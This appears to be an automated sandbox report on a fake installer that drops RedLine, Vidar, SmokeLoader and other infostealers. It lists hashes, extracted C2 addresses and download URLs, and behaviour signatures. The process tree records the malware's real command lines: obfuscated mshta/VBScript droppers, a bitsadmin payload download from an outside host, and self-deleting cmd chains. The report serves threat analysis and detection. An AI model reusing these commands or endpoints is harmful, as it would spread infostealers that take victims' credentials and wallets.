Resubmissions
06-09-2021 14:13
210906-rjpvrsedbm 1008-07-2021 11:08
210708-4gztl3mwl6 1008-07-2021 08:02
210708-klfb4qeda6 1007-07-2021 09:39
210707-nem57xyvf2 1006-07-2021 17:51
210706-7pcrmjy3fa 1006-07-2021 13:45
210706-eybelwcq86 1005-07-2021 04:26
210705-z99jkt6lce 10Analysis
-
max time kernel
1800s -
max time network
1809s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
08-07-2021 11:08
General
-
Target
setup_x86_x64_install - копия (18).exe
-
Size
3.2MB
-
MD5
3ae1c212119919e5fce71247286f8e0e
-
SHA1
97c1890ab73c539056f95eafede319df774e9d38
-
SHA256
30c2f230e5401b4b1ea8fb425dadf4e453575884303b9fa2066e6a91859f016e
-
SHA512
5bb28a775c10b8b68b8c448d64287ca732d0af5577ecc4348a89934358440bb4ff6958115f14ecbabb0446d234d6f621afa3419daa4aec6c03c0af9b6a3b1558
Malware Config
Extracted
redline
ServAni
87.251.71.195:82
Extracted
vidar
39.4
706
https://sergeevih43.tumblr.com
-
profile_id
706
Extracted
smokeloader
2020
http://ppcspb.com/upload/
http://mebbing.com/upload/
http://twcamel.com/upload/
http://howdycash.com/upload/
http://lahuertasonora.com/upload/
http://kpotiques.com/upload/
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Windows security bypass 2 TTPs
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
ASPack v2.12-2.42 8 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks for any installed AV software in registry 1 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 5 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 15 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 13 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 3 IoCs
-
Checks SCSI registry key(s) 3 TTPs 33 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 13 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 3 IoCs
-
Download via BitsAdmin 1 TTPs 2 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Kills process with taskkill 9 IoCs
-
Modifies Internet Explorer settings 1 TTPs 4 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 8 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 21 IoCs
-
Suspicious use of SendNotifyMessage 3 IoCs
-
Suspicious use of SetWindowsHookEx 16 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\drtiafaC:\Users\Admin\AppData\Roaming\drtiafa2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\drtiafaC:\Users\Admin\AppData\Roaming\drtiafa2⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\vrtiafaC:\Users\Admin\AppData\Roaming\vrtiafa2⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\sitiafaC:\Users\Admin\AppData\Roaming\sitiafa2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\sitiafaC:\Users\Admin\AppData\Roaming\sitiafa3⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\drtiafaC:\Users\Admin\AppData\Roaming\drtiafa2⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\vrtiafaC:\Users\Admin\AppData\Roaming\vrtiafa2⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\sitiafaC:\Users\Admin\AppData\Roaming\sitiafa2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\sitiafaC:\Users\Admin\AppData\Roaming\sitiafa3⤵
- Checks SCSI registry key(s)
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (18).exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (18).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS858CB064\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_1.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_1.exearnatic_1.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im arnatic_1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_1.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im arnatic_1.exe /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_2.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_2.exearnatic_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_3.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_3.exearnatic_3.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_4.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_4.exearnatic_4.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_5.exearnatic_5.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\7120052.exe"C:\Users\Admin\AppData\Roaming\7120052.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6395994.exe"C:\Users\Admin\AppData\Roaming\6395994.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1685145.exe"C:\Users\Admin\AppData\Roaming\1685145.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCripT:cLose ( cReatEoBJEcT ( "WScript.sheLl" ). Run ( "CMd.EXe /C EChO YE%TIMe%i> q1Qo.EY & echo | seT /P = ""MZ"" > FIq2DqT_.Q © /b /y FIq2DQT_.Q + QBEZ3.8 + R5FQa3.v3P + WWAA.Ue5 + JBVF~.yS + rcEI.~+ Mj12.DS + q1QO.Ey ..\mRZCIH.DO & Del /q *& STart regsvr32.exe -S ..\MRZCIH.DO /U " , 0 , true ) )7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRIPT:ClOSe (creAtEobJEct ( "WSCRIPt.ShElL" ). Run( "C:\Windows\system32\cmd.exe /Q /C TyPE ""C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe"" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if ""-pLTfn82smRxoqI1Rgg5LiENy6ewubmT "" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe"" ) do taskkill -F -im ""%~Nxw"" " , 0 , tRUe ) )7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_6.exearnatic_6.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Documents\eG4DDdjxFbzVIStiZWr6GMFO.exe"C:\Users\Admin\Documents\eG4DDdjxFbzVIStiZWr6GMFO.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\eJFn64vy8d6u1U9cNxx_T5kh.exe"C:\Users\Admin\Documents\eJFn64vy8d6u1U9cNxx_T5kh.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\eJFn64vy8d6u1U9cNxx_T5kh.exe"C:\Users\Admin\Documents\eJFn64vy8d6u1U9cNxx_T5kh.exe"7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Documents\IPodcnK3XLkFTN5lOj0s7ydA.exe"C:\Users\Admin\Documents\IPodcnK3XLkFTN5lOj0s7ydA.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"8⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Browzar\Browzar.exe"C:\Program Files (x86)\Browzar\Browzar.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4280 -s 23528⤵
- Program crash
-
C:\Users\Admin\Documents\PrqyVD1VxtWeWgutkOfmRh4c.exe"C:\Users\Admin\Documents\PrqyVD1VxtWeWgutkOfmRh4c.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\file4.exe"C:\Program Files (x86)\Company\NewProduct\file4.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl8⤵
- Loads dropped DLL
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\HDgGjYufm_hBZG9nUvrgqJFB.exe"C:\Users\Admin\Documents\HDgGjYufm_hBZG9nUvrgqJFB.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Poi.vsd7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGmlTQMSJGkUUtRoHQkZmHLQyLLuVpnCdInRQPNWfBIsgQkprGKGWkWrUJtiyFXmiJDkGqaSrgKXZxBgABegmS$" Che.vsd9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comDare.exe.com D9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D12⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D13⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D15⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D16⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D17⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D18⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dare.exe.com D19⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
-
C:\Users\Admin\Documents\e_KPjkr695Qid5LBnaD_FMGM.exe"C:\Users\Admin\Documents\e_KPjkr695Qid5LBnaD_FMGM.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "e_KPjkr695Qid5LBnaD_FMGM.exe" /f & erase "C:\Users\Admin\Documents\e_KPjkr695Qid5LBnaD_FMGM.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "e_KPjkr695Qid5LBnaD_FMGM.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\VklvpDTcDOSYW7dDNepm3ji5.exe"C:\Users\Admin\Documents\VklvpDTcDOSYW7dDNepm3ji5.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\VklvpDTcDOSYW7dDNepm3ji5.exe"C:\Users\Admin\Documents\VklvpDTcDOSYW7dDNepm3ji5.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\078Jlrc6RLR8us8ikbbYmp3L.exe"C:\Users\Admin\Documents\078Jlrc6RLR8us8ikbbYmp3L.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 078Jlrc6RLR8us8ikbbYmp3L.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\078Jlrc6RLR8us8ikbbYmp3L.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 078Jlrc6RLR8us8ikbbYmp3L.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\HOtAAelrumIQEaFgtnrfX1of.exe"C:\Users\Admin\Documents\HOtAAelrumIQEaFgtnrfX1of.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\iwK_luEG8vYn6WN5g3Ucf3ZZ.exe"C:\Users\Admin\Documents\iwK_luEG8vYn6WN5g3Ucf3ZZ.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\zC0AciIr975nOWpy9I4HQbTF.exe"C:\Users\Admin\Documents\zC0AciIr975nOWpy9I4HQbTF.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-FA64A.tmp\zC0AciIr975nOWpy9I4HQbTF.tmp"C:\Users\Admin\AppData\Local\Temp\is-FA64A.tmp\zC0AciIr975nOWpy9I4HQbTF.tmp" /SL5="$10200,28982256,486912,C:\Users\Admin\Documents\zC0AciIr975nOWpy9I4HQbTF.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\LUz1hOei4MEzQkQLJC5kNtNg.exe"C:\Users\Admin\Documents\LUz1hOei4MEzQkQLJC5kNtNg.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\LUz1hOei4MEzQkQLJC5kNtNg.exe"C:\Users\Admin\Documents\LUz1hOei4MEzQkQLJC5kNtNg.exe" -a7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Xq0Dh0cSzz59KtLFL2BWyvCI.exe"C:\Users\Admin\Documents\Xq0Dh0cSzz59KtLFL2BWyvCI.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pXCqGrdJb7sQvuEj -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -phs4opgQYQzGH8jz -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\fjnkJfWrEDeA\fjnkJfWrEDeA.dll" fjnkJfWrEDeA7⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\fjnkJfWrEDeA\fjnkJfWrEDeA.dll" fjnkJfWrEDeA8⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv9359.tmp\tempfile.ps1"7⤵
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\cSn4hAW2R4NGZzKfmWLIQXpN.exe"C:\Users\Admin\Documents\cSn4hAW2R4NGZzKfmWLIQXpN.exe"6⤵
-
